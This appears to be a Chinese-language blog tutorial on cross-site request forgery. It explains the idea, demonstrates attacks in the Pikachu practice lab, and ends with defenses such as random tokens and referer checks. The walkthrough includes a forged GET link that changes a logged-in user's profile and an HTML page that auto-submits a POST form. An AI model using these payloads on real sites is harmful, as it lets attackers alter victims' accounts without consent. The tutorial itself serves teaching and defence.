CSRF--跨站请求伪造

1. 原理

小黑想要修改大白在购物网站www.xx.com上填写的会员地址。
先看下大白是如何修改自己的会员地址的:登录—修改会员信息,提交请求—修改成功。
所以小黑想要修改大白的信息,他需要拥有:1.登录权限 2.修改个人信息的请求。
但是大白又不会把自己xx网站的账号密码告诉小黑,那小黑怎么办?
于是他自己跑到www.xx.com上注册了一个自己的账号,然后修改了一下自己的个人信息(比如:E-mail地址),他发现修改的请求是:
http://www.xxx.com/edit.php?email=xiaohei@88.com&Change=Change
于是,他实施了这样一个操作:把这个链接伪装一下,在大白登录网站后,欺骗他进行点击,大白点击这个链接后,个人信息就被修改了,小黑就完成了攻击目的。

2. pikachu靶场演示

2.1 CSRF(get)

登录账号有vince/allen/kobe/grady/kevin/lucy/lili,密码全部是123456。
登陆成功,并用burpsuite抓包
在这里插入图片描述
发现是get请求包,修改性别、地址,将url补全为:
http://192.168.57.139/pikachuvul/csrf/csrfget/csrf_get_edit.php?sex=girl&phonenum=12345677789&add=shanxi&email=lucy并发送给已经登陆成功的用户,用户点击进去信息就会被修改:
在这里插入图片描述在这里插入图片描述

2.2 CSRF(post)

抓包发现是post请求方式,不能通过伪造URL的方式进行攻击
这里的攻击方式跟XSS中POST类型是一样的,攻击者可以搭建一个站点,在站点上做一个表单,诱导lucy点击这个链接,当用户点击时,就会自动向存在CSRF的服务器提交POST请求修改个人信息。
攻击者:192.168.57.139
漏洞服务器:192.168.57.139
编写一个csrf.html页面,将其放到www/pikachu/vul/csrf/csrfpost下
代码:

<html>
<head>
<script>
window.onload = function() {
  document.getElementById("postsubmit").click();
}</script>
</head>
<body>
<form method="post"action="http://192.168.57.139/pikachu/vul/csrf/csrfpost/csrf_post_edit.php">
    <input id="sex" type="text" name="sex" value="girl" />
    <input id="phonenum" type="text" name="phonenum" value="12345678922" />
    <input id="add" type="text" name="add" value="hacker" />
    <input id="email" type="text" name="email" value="lucy@pikachu.com" />
<input id="postsubmit" type="submit" name="submit" value="submit" />
</form>
</body>
</html>

把下面的URL发送给受害者,只要受害者一点击这个链接,就会自动往服务器发送POST请求,修改自己的信息
http://192.168.57.139/pikachu/vul/csrf/csrfpost/csrf.html
点击链接,信息被修改:
在这里插入图片描述

2.3 CSRF Token

抓包可以看出加了token
每次请求,都增加一个随机码(需要够随机,不容易被伪造),后台每次对这个随机码进行验证
跟前面比较,这里多了一个Token,如果后台对提交的Token进行了验证,由于Token是随机的,我们就无法伪造URL了。
在这里插入图片描述

3. burpsuite中的csrf poc介绍

生成csrf.html
在这里插入图片描述在这里插入图片描述修改csrf.html:
在这里插入图片描述再打开,就可以修改信息
在这里插入图片描述
在这里插入图片描述

4.漏洞防御

1.当用户发送重要的请求时需要输入原始密码
2.设置随机Token(最有效):检测数据包的唯一性
pikachu靶场演示每次修改抓的数据包中token是不同的
3.检验 referer 来源,请求时判断请求链接是否为当前管理员正在使用的页面(管理员在编辑文章,黑客发来恶意的修改密码链接,因为修改密码页面管理员并没有在操作,所以攻击失败)
4.设置验证码
5.限制请求方式只能为 POST

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值